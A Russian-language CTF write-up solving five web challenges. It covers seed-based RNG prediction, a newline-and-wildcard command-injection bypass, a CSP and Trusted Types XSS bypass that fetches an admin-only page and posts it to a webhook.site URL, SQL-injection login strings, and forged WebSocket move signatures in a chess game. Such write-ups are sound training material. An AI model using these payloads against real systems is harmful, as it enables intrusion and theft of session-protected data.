Будем разбирать таски из категории веб с недавно прошедшего TraceBash CTF 2026. Будем предугадывать рандом. Обходить жесткие фильтры в классической command inj. Будем эксплуатировать blind xss. В одной из задач окунемся в безумие ctf и обыграем в шахматы самого крутого бота Stockfish.
Оглавление:
1. Random Cheese
2. Ping me
3. Trusted Rules
4. Madness
5. Cheese Chess
Random Cheese
Дали сайт "сырная лавка Джерри". По легенде игроку дают 10 попыток открутить колесо фортуны, и при 85+ очках можно забрать флаг. Но Том подкрутил систему так, что выиграть становиться невозможно.
Сходу видим:
- Колесо фортуны на 10 секторов (от 1 до 10 очков)
- Кнопку Spin Wheel и заблокированную Claim Flag
- Счетчик спинов и текущий счет
- Эндпоинты /spin, /reset, /claim
За 10 спинов можно набрать максимально 100 очков. Чтобы выйти на 85, в среднем нужно 8.5 за спин. Шансов мало, но статистически должно быть возможно.
Первая мысль, давай просто обманем клиент
Внутри html на кнопке Claim Flag стоит атрибут disabled, убрал его через DevTools. Жмем кнопку и получаем ошибку "не хватает баллов".
Это ожидаемо. Вся логика на сервере. Но проверить стоило, вдруг сервер доверяет тому что мы ему шлем?
Parameter manipulation на /spin
Пробуем подменить значение в POST запросе:
Код:
{"val": 10}
{"val": [10]}
{"val": "10"}
{"val": 10, "score": 100}
{"val": 10, "spins": 0}
{"val": -10}
Отправлял простым скриптом в консоли. Пробуем разные значения, массивы, строки, отрицательные числа...
Код:
fetch("https://web-random-cheese.tracebash.xyz/spin", {
"method": "POST",
"headers": { "content-type": "application/json" },
"body": JSON.stringify({val: 10}),
"credentials": "include"
}).then(r => r.json()).then(console.log);
Сервер игнорирует все. Возвращает просто рандом числа (val от 3 до 10), score добавляется как и задумано.
Современные приложения почти никогда не доверяют клиенту. Parameter manipulation первый вектор который стоит проверить, но в 90% случаев он не сработает. Зато проверить можно быстро, поэтому начал с нее.
Ищем зацепки
В куках лежит сессия, данные были закодированы в base64, если декодировать будет json'чик {"username":"test"} который нам ничего не дал. В Local/Session storage пусто.
Исследование базовых robots.txt, sitemap.xml, admin, /api, /.env, /debug не дело ничего интересного.
На странице /settings есть форма
Lucky Number в таске про удачу выглядит очень подозрительно. В CTF все что выглядит как какой то игровой функционал, часто будет уязвимостью. Всегда проверяй это первым делом.
Гипотеза - Lucky Number = seed для ГСЧ
Принцип такой, сервер использует псевдослучайный генератор (иначе тесты не повторить), а значит, ему нужен seed - начальное значение. Если seed поддается контролю через Lucky Number, результат можно будет предсказать.
Тестируем:
1. Получаем рандомный lucky_number = 42
2. Крутим 10 раз и получаем [2, 1, 5, 4, 4, 3, 2, 9, 2, 10], сумма = 42
3. Вызываем /reset
4. Повторно задаем lucky_number = 42
5. Запускаем 10 раз, и видим ту же последовательность
Есть! Сервер и вправду берет наш Lucky Number в качестве seed. Теперь остается только перебор.
Стандартный рандом в питоне использует криптографически нестойкий Mersenne Twister. Если мы сможем узнать seed, мы можем предсказать всю последовательность.
Первая попытка брутфорса через API
Написал js скрипт который перебирает lucky_number от 1 до 1000 и для каждого делает 10 спинов на сервере чтобы проверить сколько очков набирает.
И почти сразу сервер начинает отвечать
Код:
429 Too Many Requests
400 Bad Request
Вполне логично получаем бан (Rate limit), мы отправили кучу запросов еще и без задержки. Явный намек что я сделал что то не так. Правильно было бы не насиловать сервер а воспроизвести его логику у себя.
Ну и в целом в правилах было указано что ничего брутить и сканить не нужно, совсем вылетело из головы. Пойдем другим путем и сбрутим число локально.
Финальный ход - локальная эмуляция
Вместо того чтобы долбить API, напишем python скрипт который:
- Локально эмулирует ГСЧ: random.seed(lucky) + random.randint(1, 10)
- Перебирает 1000 вариантов локально (это займет секунду)
- Найдет нам заветный lucky_number который даст 85+ очков
До запуска я допом проверил что логика подходит, последовательности которые выпадают локально совпадают с сервером.
Код:
import random
for lucky in range(1, 1001):
random.seed(lucky)
score = sum(random.randint(1, 10) for _ in range(10))
if score >= 85:
print(f"lucky_number = {lucky}, score = {score}")
break
Получаем lucky_number = 854, score = 87. Отправляем выигрышный номер на сервер, забираем флаг.
Задача интересна тем, что учит понимать внутреннюю логику приложения. Мы не взломали сервер, мы поняли логику и использовали ее против него.
Главные выводы
1. Контролируемый seed = дыра. Если пользователь может подставить свой seed, он сможет предсказывать "случайные" результаты.
2. Вместо брутфорса api сервера локальная эмуляция. Если можешь воспроизвести логику сервера у себя лучше так и сделать. Меньше запросов, быстрее результат, нет ограничений.
Ping Me
Имеем веб приложение на Flask (Python) которое пингует ip адреса. Нам дали исходники, мы можем посмотреть как работают фильтры. В Docker-контейнере лежит бинарник readflag, который отдает флаг из переменной окружения FLAG. Задача выполнить бинарник и получить флаг.
Первое что бросается в глаза, куча ограничений на ввод
Код:
# 1. Длина максимум 15 символов (как у IPv4 255.255.255.255)
if len(ip) > 15: ...
# 2. Никаких букв
if any(c.isalpha() for c in ip): ...
# 3. Никакого $
if '$' in ip: ...
# 4. "Непробиваемый" regex
if not re.match(r"^[\d.]+$", ip, flags=re.MULTILINE): ...
# 5. Никакого ./ (после NFKC нормализации)
if './' in unicodedata.normalize('NFKC', ip): ...
# И все это внедряется в
command = f"ping -c 1 -W 2 {ip}"
subprocess.check_output(command, shell=True, executable='/bin/bash', ...)
Классический command injection, только админ подсуетился отфильтровать все что можно.
В голову сразу приходят стандартные ; cat /etc/passwd, && ls, | id. Но сразу видно проблему, лимит 15 символов. Даже ;ls это уже 3 символа, а с IP-адресом места почти не остаётся.
Плюс в фильтрах запрещены буквы, cat, ls, id сразу уходят мимо. ; и && вроде не фильтруются. Но ужаться в 15 символов всеравно проблемно.
Ключевой инсайт: re.MULTILINE
Код:
re.match(r"^[\d.]+$", ip, flags=re.MULTILINE)
re.MULTILINE поменяет поведение ^ и $
Без флага: ^ - это начало всего текста, $ это конец всего текста
С флагом: ^ - начало каждой строки, $ конец каждой строки (перед \n)
А re.match() проверяет только с нулевой позиции. Получается если отправить:
Код:
127.1
;еще что то
То regex заматчит только первую строку 127.1, она полностью состоит из цифр и точек, и $ успешно сработает на конце строки (перед \n). А вторая строка регуляркой не проверяется!
Проверяем гипотезу
Отправляю пейлоад 127.1\n???????? и получаю в ответ /bin/bash: line 2: readflag: command not found. Отправлял просто запросом, т.к. в самом UI тоже есть проверка.
Фильтр обошелся, иньекция сработала, bash увидел вторую строку и попытался выполнить ????????. Wildcard сработал как мы и задумывали раскрыл имя в readflag, а потом не смог найти команду, потому что readflag не в PATH.
Wildcards (?, *) в bash раскрываются до выполнения команды. Но bash ищет по имени только в директориях из PATH. Если написать просто readflag или ????????, он не будет искать файл в текущей директории. Нужно указать либо абсолютный путь, либо ./readflag.
Нужен абсолютный путь
Пробуем добавить / перед wildcards: /????????. Но readflag лежит не в корне, а скорее всего в /app/ (типичная структура докер контейнера с фласком).
Значит вероятно нужен путь /app/readflag.
- 127.1\n/app/readflag - 19 символов (лимит 15)
- 127.1\n/app/???????? - 19 символов
- 1\n/app/???????? - 17 символов
Не получается ухоложиться в лимит символов.
Вторая ключевая идея, wildcard для директории
Что если wildcard применить не только к имени файла но и директории?
Код:
/???/????????
- /???/ - любая директория в корне с ровно 3 символами (/app/, /bin/, /tmp/ и т.д.)
- /???????? - файл с ровно 8 символами внутри нее
Считаем длину 1\n/???/???????? = 15 символов. Ровно в лимит!
Проверяем фильтры:
- Длина: 15 ≤ 15
- Нет букв (только 1, \n, /, ?)
- Нет $
- Regex: 1 матчит ^[\d.]+$ на первой строке
- Нет ./
Пробуем отправить и получаем
Код:
{
"output": "PING 1 (0.0.0.1) 56(84) bytes of data.\n\n--- 1 ping statistics ---\n1 packets transmitted, 0 received, 100% packet loss, time 0ms\n\nTBCTF{0ld_5ch00l_c0mm4nd_1nj3c710n_0n_573r01d5}\n"
}
Trusted Notes - Слеая XSS с обходом CSP и Trusted Types
Перед нами веб-приложение для заметок. Есть админский бот, который просматривает присланные заметки.
Что мы знаем из условия:
- Флаг на /admin/flag, доступен только с правильным cookie
- Бот заходит на присланный URL с кукой admin_session (httpOnly)
- Легенда намекает про CSP и Trusted Types - "protected by the browser's own trust framework"
Что у нас есть:
- Flask-приложение с эндпоинтом /view?rule=... которое рендерит заметку
- Бот на Puppeteer, который проверяет hostname и заходит на URL
- Защита: CSP + Trusted Types + фильтр на клиенте
Первичный анализ
Смотрим код view.html и видим три уровня защиты:
1. CSP (через <meta> тег):
Внутри html в мета тегах прописаны
Код:
default-src 'self';
script-src 'self' 'unsafe-inline';
require-trusted-types-for 'script';
Что это значит?
- default-src 'self' - всё по умолчанию только с того же домена
- script-src 'unsafe-inline' - inline-скрипты разрешены (странно, но ок)
- require-trusted-types-for 'script' - требует Trusted Types для опасных операций
2. Trusted Types policy:
Код:
safe = safe.replace(/<\/?script>/ig, ''); // удаляет <script>
safe = safe.replace(/javascript:/ig, ''); // удаляет javascript:
safe = safe.replace(/on[a-z]+\s*=/ig, ''); // удаляет onclick=, onerror= и т.д.
3. innerHTML как точка входа:
Код:
document.getElementById('note-content').innerHTML = policy.createHTML(userNote);
Фильтр Trusted Types удалял теги <script> из строки до вставки в DOM. Даже если бы мы обошли фильтр, innerHTML все равно не выполнил бы скрипт. Это стандартное поведение браузера в целях безопасности.
Рабочее решение
Шаг 1: Обход фильтра через <iframe srcdoc> с entities
Фильтр ищет <script>, но если мы используем HTML entities, то regex не найдёт совпадения. А браузер декодирует entities в значении атрибута srcdoc.
Код:
<iframe srcdoc="<script>alert(1)</script>"></iframe>
Как это работает
- Фильтр видит <script> но не находит <script> а значит и не удаляет
- Браузер декодирует entities, внутри iframe создаётся <script>alert(1)</script>
- Скрипт выполняется в контексте iframe
Шаг 2: Добавляем sandbox="allow-same-origin allow-scripts"
Чтобы cookie подставлялись, iframe должен унаследовать origin родителя.
Код:
<iframe sandbox="allow-same-origin allow-scripts" srcdoc="<script>alert(1)</script>"></iframe>
Как это работает
- allow-same-origin - iframe наследует origin с домена web:5000
- Cookie admin_session подставляются автоматически
- fetch('/admin/flag') должен возвращать флаг, а не 403
Шаг 3: Эксфильтрация через form submission с target="_blank"
CSP default-src 'self' блокирует fetch() запрос на внешние домены, но не блокирует form submission (если нет директивы form-action).
Код:
fetch('/admin/flag', {credentials:'include'})
.then(r => r.text())
.then(t => {
const f = document.createElement('form');
f.action = 'https://webhook.site/...';
f.method = 'POST';
f.target = '_blank'; // ответ загрузится в новом окне, а не в iframe
const i = document.createElement('input');
i.name = 'flag';
i.value = t;
f.appendChild(i);
document.body.appendChild(f);
f.submit();
})
Как работает
- fetch('/admin/flag') - запрос на тот же домен (разрешено default-src 'self')
- Form submission на внешний домен, CSP не имеет form-action, значит разрешено
- target="_blank" - ответ загружается в новом окне (обход frame-src)
- Нужно добавить allow-forms и allow-popups к sandbox
Шаг 4: Финальные sandbox permissions
Код:
<iframe sandbox="allow-same-origin allow-scripts allow-forms allow-popups" srcdoc="..."></iframe>
За что отвечают все эти права?
- allow-same-origin - наследуем origin для cookie
- allow-scripts - выполняем JS внутри iframe
- allow-forms - отправляем формы из sandboxed iframe
- allow-popups - открываем новое окно через target="_blank"
Код:
<iframe sandbox="allow-same-origin allow-scripts allow-forms allow-popups"
srcdoc="<script>
fetch('/admin/flag', {credentials:'include'})
.then(r => r.text())
.then(t => {
const f = document.createElement('form');
f.action = 'https://webhook.site/ccd99d36-91b7-4c34-a8ec-851fb43712fd';
f.method = 'POST';
f.target = '_blank';
const i = document.createElement('input');
i.name = 'flag';
i.value = t;
f.appendChild(i);
document.body.appendChild(f);
f.submit();
})
</script>"></iframe>
webhook.site это бесплатный сервис, который даёт тебе временный URL для приёма HTTP-запросов. Проще говоря, это сервис в интернете, куда можно отправить любой GET/POST-запрос, и ты увидишь его содержимое в реальном времени. Без нужды подымать свой сервер.
Отправляем конечный вариант в форму report
Код:
http://web:5000/view?rule=%3Ciframe%20sandbox%3D%22allow-same-origin%20allow-scripts%20allow-forms%20allow-popups%22%20srcdoc%3D%22%26lt%3Bscript%26gt%3Bfetch('/admin/flag',{credentials:'include'}).then(r%3D%3Er.text()).then(t%3D%3E{const%20f%3Ddocument.createElement('form');f.action%3D'https://webhook.site/ccd99d36-91b7-4c34-a8ec-851fb43713fd';f.method%3D'POST';f.target%3D'_blank';const%20i%3Ddocument.createElement('input');i.name%3D'flag';i.value%3Dt;f.appendChild(i);document.body.appendChild(f);f.submit();})%26lt%3B/script%26gt%3B%22%3E%3C/iframe%3E
и получаем ответ с флагом TBCTF{rules_c4n_b3_byp4ss3d_1f_y0u_kn0w_h0w}
Madness
По описанию это какая то галерея картинок но с подвохом, в чем он пока не известно. Сразу после этапа разведки имеем:
Эндпоинты:
- /login - форма входа
- /gallery - галерея с загрузкой картинок
- /profile - профиль, можно менять ник и остальные данные, загружать аватарку
- /admin_only - для обычного аккаунта доступа нет
Техническая часть:
- Express.js + nginx
- Development mode включен, мы можем вызвать ошибку и увидеть подробности по ней
- MySQL база
- Загрузка файлов, сохраняются как /uploads/<timestamp>.<ext>
Наши гипотезы и попытки
Первая находка SQLi в форме авторизации.
В логине admin' --+ или ' or 1=1--+
На странице /admin_only
Сходу что такое M4dn3sS! не понятно, но предполагаем что это пароль, в исходнике страницы есть еще комментарий который на это намекает
Код:
<!-- Got a password, hmmmm!! But where can you use it? Where have they hid the flag?? I am getting mad now... ughhh!! ~...~ -->
Сообщение
Код:
are you mad ??? what you doing here admin. delete that robotsss.txt before production deployment
Внутри robotsss.txt
Код:
Don't step into that hole. Maybe you should think twice.
Those types of files are intended to be uploaded by admins only.
You still believe me? That's funny :))
Как оказалось это просто отвлекающий маневр. Там нет ничего.
Были попытки искать где использовать этот пароль:
- Дополнительные эндоинты по типу просто /admin
- Скрытые параметры get/post, по типу /admin_only?password=M4dn3sS!
- В заголовках
С загрузкой файлов тоже изрядно повозился. Понятно, что грузить PHP-шеллы на Node.js сервер это тупиковый путь, но все равно было перепробовано кучу всего, от SVG с XXE и двойных расширений до попыток сделать path traversal прямо в имени файла. Но это разбивалось о валидацию или о то, что бэкенд просто генерировал свое имя для файла.
Обход проверки расширений, проверяет наличие png/jpg/gif в строке, а не в конце. Поэтому SQLi-пейлоады проходили и сохранялись в БД, а потом выводились в HTML галереи как
Код:
<img src="/uploads/1782530561544.png' OR '1'='1" alt="Gallery Image">
Но это не выполнялось, а просто экранировалось. Развить никак не получилось.
В итоге стало ясно, что получить RCE через загрузку не выйдет, и нужно было думать в сторону специфичных для Node.js уязвимостей, а не просто спамить форму разными форматами.
Тут началось самое "веселое". Вижу, что другие игроки массово грузят файлы с подобным содержимым:
Код:
<%= process.env.CTF_FLAG %>
И я вижу как количество людей которые выполнили пополняется. Логичное предположение что где-то есть SSTI через загрузку файлов.
Пытался:
- Загрузить файл с EJS в содержимом, файл сохраняется, но не исполняется
- Каких то эндоинтов где бы рендерился загруженный файл не нашлось
- LFI через URL (..%2fuploads%2f...) выдвало ошибки 404 или 400
На это ушло просто кучу времени, ничего не найдено.
Решил проверить может есть какие то другие дефолт пользователи кроме admin? Перебрал всех существующих пользователей через offset
Код:
admin' OR 1=1 LIMIT 1 OFFSET 0--+
Был найден hero, у него загружено две странных картинки. Внутри второй была найдена какая-то диаграмма, куча base64 с которым ничего не сделать. Но это навело на мысль проверить все остальные картинки тоже, у нас же галерея и какая-то скрытая тайна.
Спустя еще N часов флаг был найден в фавиконе, M4dn3sS! оказался пароль к ней.
Код:
steghide extract -sf favicon.ico -p 'M4dn3sS!' -xf flag.txt
cat flag.txt
TBCTF{1_5u5p3c7_y0u_4r3_4n_0v3r7h1nk3r}
Вот за что многие не любят такой формат ctf, ожидали какое то lfi или подобное, особенно смотря на то что делали другие игроки, а получили несколько оторванное от реальности решение. Нужно сидеть гадать что же там имел ввиду автор, теряя время.
Если вы новичок то советую https://hackerlab.pro/ потому что не нужно будет ждать и подстраиваться под время провередения соревнований. Задачи доступны всегда а не только во время проведения, они быстро дохнут, поддерживать инфрастуктуру дорого.
Cheese Chess
Задача "Cheese Chess". Описание интригующее - "Think you can outsmart the world's strongest chess engine playing at peak strength? Stockfish never loses, or so they say."
Ну ок, шахматы с непобедимым ботом. Первая мысль просто найти бота получше копировать его ходы. Открываю какой-нибудь онлайн-движок, играю там параллельно, переношу ходы... Но тут два облома. Во первых, игра периодически сама сбрасывалась, возможно какая то защита от афк, хз. Во вторых, оказывается Stockfish это уже и так один из топовых движков в мире, лучше него особо ничего и нет. План с "просто играть лучше" провалился.
Но мы же в CTF, значит флаг можно добыть не игрой а обходом логики. Видим React-приложение, WebSocket-соединение. Stockfish играет за белых, мы за чёрных. Поехали разбираться.
Что вообще происходит?
Первым делом смотрю в DevTools - Network - WS. Надо понять, как клиент общается с сервером.
Смотрим сообщения и видим три типа:
1. init - начало игры
Код:
{
"type": "init",
"fen": "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1",
"sessionId": "16412e4e-7793-4b8a-ad22-1773e5234ec6",
"nonce": "Y2gzM3N5X3MzY3IzdF8yMDI0",
"message": "Game started! White (Stockfish) moves first."
}
nonce так же был в local storage, выглядит подозрительно. Пробуем декодировать base64:
Код:
echo "Y2gzM3N5X3MzY3IzdF8yMDI0" | base64 -d
ch33sy_s3cr3t_2024
Выглядит как явный ключ для чего то.
2. move - наш ход
Код:
{
"type": "move",
"from": "e2",
"to": "e4",
"promotion": "q",
"sig": "6642bf09af8a912e912468df2ee22028"
}
Каждый ход подписан! sig - 32 символа, похоже на MD5 (и как оказалось так и есть). Сервер проверяет подпись, значит, просто так ход подменить нельзя.
3. move_ok - подтверждение
Код:
{
"type": "move_ok",
"move": {...},
"fen": "...",
"turn": "black"
}
Сервер возвращает обновленную позицию. Значит, сервер ведёт свою доску и проверяет легальность ходов.
Попытки взлома подписи
Простая формула
Предположение что sig = MD5(from + to + nonce).
Пишем Python-скрипт, перебираем варианты:
- MD5(from + to + nonce)
- MD5(from + to + promotion + nonce)
- MD5(sessionId + from + to + nonce)
- HMAC-MD5 и т.д.
Угадать формулу не получилось.
Поиск в коде через отладчик
Значит надо найти зацепки в коде как именно генерируется подпись. Но код обфусцированный и выглядит как куча мусора.
Первая идея перехватить момент, когда sig присваивается объекту хода. В консоли браузера вставляем код
Код:
Object.defineProperty(Object.prototype, 'sig', {
set: function(val) {
console.log('[SIG SET]', val, 'in object:', this);
debugger; // остановится здесь
this._sig = val;
},
get: function() {
return this._sig;
}
});
Мы перехватываем любое присваивание поля sig любому объекту. Когда код делает obj.sig = "text123", наш setter срабатывает а debugger остановит выполнение. Можно будет глянуть где происходит создание подписи.
Делаю ход, отладчик останавливается и смотрим что там
Видим функцию Ge, код выглядит страшно, но ключевая строка выделяется
Код:
return (-0x1843 * -0x1 + -0x15d * -0x5 + -0x6 * 0x52e,
We[_0x3ab79a(_0x26188f._0x4c8bce, 0xe7e, _0x26188f._0x5d8a04, _0x26188f._0x543d9a)])(_0x577d2a + '|' + _0x1535b8 + '|' + _0x115a6a + '|' + _0x67e70e + '|' + _0x336aeb);
Конкатенация явно намекает на формирование строки для хеша. We похож функцию хеширования, не понятно какие аргументы туда заходят.
Пробуем поставить breakpoint на эту строку, делаем очередной ход, смотрим значения переменных в Scope (справа в DevTools). Но найти что есть что там не получилось.
Logpoint мое спасение
На помощь приходит Logpoint, мощный инструмент DevTools о которой многие не знают. В отличии от breakpoint, он не останавливает выполнение, а просто выводит значения в консоль. Чем то похож на консоль лог.
Как поставить Logpoint:
1. В DevTools, вкладка Sources, на странице файла находишь строку с return We[...]
2. Правый клик на номер строки, Add logpoint
3. В поле вставляешь выражение, которое хочешь залогировать. Можно использовать переменные из этой строки:
Код:
[_0x577d2a, _0x1535b8, _0x115a6a, _0x67e70e, _0x336aeb]
Жмешь Enter и готово, logpoint установлен (иконка синего цвета на номере строки)
Делаем ход и в консоли видим
Код:
[
"b2532157-d559-4699-b77b-7d7f0439a16c",
2,
"d2",
"d4",
"ch33sy_s3cr3t_2024"
]
Это же
- sessionId
- moveNum (номер хода)
- from (откуда)
- to (куда)
- secret (наш nonce)
Формула подписи
Код:
payload = sessionId + '|' + moveNum + '|' + from + '|' + to + '|' + secret
sig = MD5(payload)
Проверяем вручную и получаем такой же хеш. Это точно оказался MD5.
Попытки обмана сервера
Отправить ход за Stockfish
Раз знаем формулу подписи, отправим ход за белых. Ответ сервера Illegal move: e4 → e5. It is White's turn.
Но cервер проверяет очередь. Сейчас ход черных, белым ходить нельзя.
Подмена moveNum
Пробуем отправить ход с неправильным moveNum. Ответ Invalid move signature.
Сервер проверяет, что moveNum соответствует текущей позиции.
Скрытые типы сообщений
Отправляем
Код:
{type: "win"}
{type: "flag"}
{type: "admin"}
Ответ Unknown message type: 'win'. Сервер принимает только whitelist типов: init, move, move_ok.
Edge-cases
Пробуем
- Пустую подпись - Move signature required.
- Не валидные ходы - Illegal move.
- Race condition (два хода сразу) - не сработало
Сервер очень хорошо валидирует. Похоже тут флаг не получить.
Поворот к клиенту
Ищем в коде упоминание flag и находим:
Код:
_0xd05512 && M[...](Je, {
'flag': _0xd05512,
'onClose': () => _0x394690(null)
})
Флаг рендерится в компоненте Je, когда _0xd05512 истинно. В коде видим
Код:
_0xd05512 ? '🏆' : '💀'
Трофей при победе, череп при поражении. Надо выиграть у Stockfish, но он на пике силы непобедим...
Stockfish на клиенте
Во вкладке Network видим что грузиться stockfish.js и .wasm файл. Stockfish работает в браузере!
Если логика движка на клиенте можно подменить его ходы.
Финальная атака: подмена Stockfish
Идея
Сервер доверяет клиенту то какой ход делает Stockfish. Он проверяет
- Подпись валидна
- Ход легален (пешка может так пойти)
- Очередь правильная
Но НЕ проверяет, что Stockfish выбрал этот ход.
План
1. Подменить getBestMove через DevTools Overrides
2. Заставить Stockfish делать плохие ходы
getBestMove - это функция которая принимает в себя инфу по состоянию на доске и возвращает лучший ход.
DevTools Overrides для простоты встраивания своих скриптов, чтобы не использовать дополнительные тулзы.
На вкладке Sources, выбираем вкладку Page где все загруженные файлы, на нужном на js файле в меню выбираем Overrides Content и выбираем папку куда сохранить.
Теперь модифицируем. Заменяем getBestMove на
Код:
'getBestMove': function(fen, depth, callback) {
console.log('[FAKE STOCKFISH] FEN:', fen);
// Инициализируем очередь при первом вызове
if (!window.__stockfishQueue) {
window.__stockfishQueue = ['f3', 'g4'];
}
// Берём ход из очереди
let moveCode = window.__stockfishQueue.shift();
let move;
if (moveCode === 'f3') {
move = {from: 'f2', to: 'f3'};
console.log('[STOCKFISH] Move 1: f2→f3');
} else if (moveCode === 'g4') {
move = {from: 'g2', to: 'g4'};
console.log('[STOCKFISH] Move 2: g2→g4');
} else {
move = {from: 'a2', to: 'a3'};
console.log('[STOCKFISH] Queue empty, fallback');
}
setTimeout(function() {
callback({from: move.from, to: move.to, promotion: undefined});
}, 500);
}
Написал бота который будет ходить от имени пользователя, добавляю в самый верх.
Код:
(function() {
console.log('[AUTO-MATE] Script injected');
// Загружаем MD5
let md5Loaded = false;
let md5Script = document.createElement('script');
md5Script.src = 'https://cdnjs.cloudflare.com/ajax/libs/blueimp-md5/2.19.0/js/md5.min.js';
md5Script.onload = function() {
md5Loaded = true;
console.log('[AUTO-MATE] MD5 loaded');
};
document.head.appendChild(md5Script);
const SECRET = "ch33sy_s3cr3t_2024";
let sessionId = null;
let ws = null;
// Перехватываем WebSocket
const OrigWS = window.WebSocket;
window.WebSocket = function(...args) {
console.log('[AUTO-MATE] WebSocket created:', args[0]);
ws = new OrigWS(...args);
ws.addEventListener('message', function(ev) {
try {
let data = JSON.parse(ev.data);
if (data.type === 'init') {
sessionId = data.sessionId;
console.log('[AUTO-MATE] Session ID:', sessionId);
startAutoMate();
}
} catch(e) {}
});
return ws;
};
window.WebSocket.prototype = OrigWS.prototype;
window.WebSocket.CONNECTING = OrigWS.CONNECTING;
window.WebSocket.OPEN = OrigWS.OPEN;
window.WebSocket.CLOSING = OrigWS.CLOSING;
window.WebSocket.CLOSED = OrigWS.CLOSED;
function signMove(moveNum, from, to) {
let payload = sessionId + '|' + moveNum + '|' + from + '|' + to + '|' + SECRET;
return md5(payload);
}
function sendMove(from, to, moveNum) {
let sig = signMove(moveNum, from, to);
let msg = {
type: "move",
from: from,
to: to,
promotion: "q",
sig: sig
};
console.log('[AUTO-MATE] Sending move:', msg);
ws.send(JSON.stringify(msg));
}
function startAutoMate() {
console.log('[AUTO-MATE] Starting Fool\'s Mate sequence');
// Stockfish делает f2-f3 (moveNum=0)
// Мы ждём 1.5 секунды и отправляем e7-e5 (moveNum=1)
setTimeout(function() {
console.log('[AUTO-MATE] Sending e7→e5 (moveNum=1)');
sendMove('e7', 'e5', 1);
}, 1500);
// Stockfish делает g2-g4 (moveNum=2)
// Мы ждём ещё 1.5 секунды и отправляем d8-h4 (moveNum=3) - МАТ!
setTimeout(function() {
console.log('[AUTO-MATE] Sending d8→h4 (moveNum=3) - CHECKMATE!');
sendMove('d8', 'h4', 3);
}, 3500);
}
})();
Запускаем и получаем флаг
Что мы узнали
1. Клиент всегда можно подменить, если Stockfish на клиенте, сервер не может проверить, что ход реальный
2. Подпись запросов не всегда защита. Если клиент знает секрет он может подписать что угодно, даже если секрет "динамический" и меняется при каждой игре.
3. Сервер валидирует, но не все, он проверяет легальность ходов, но не их честность.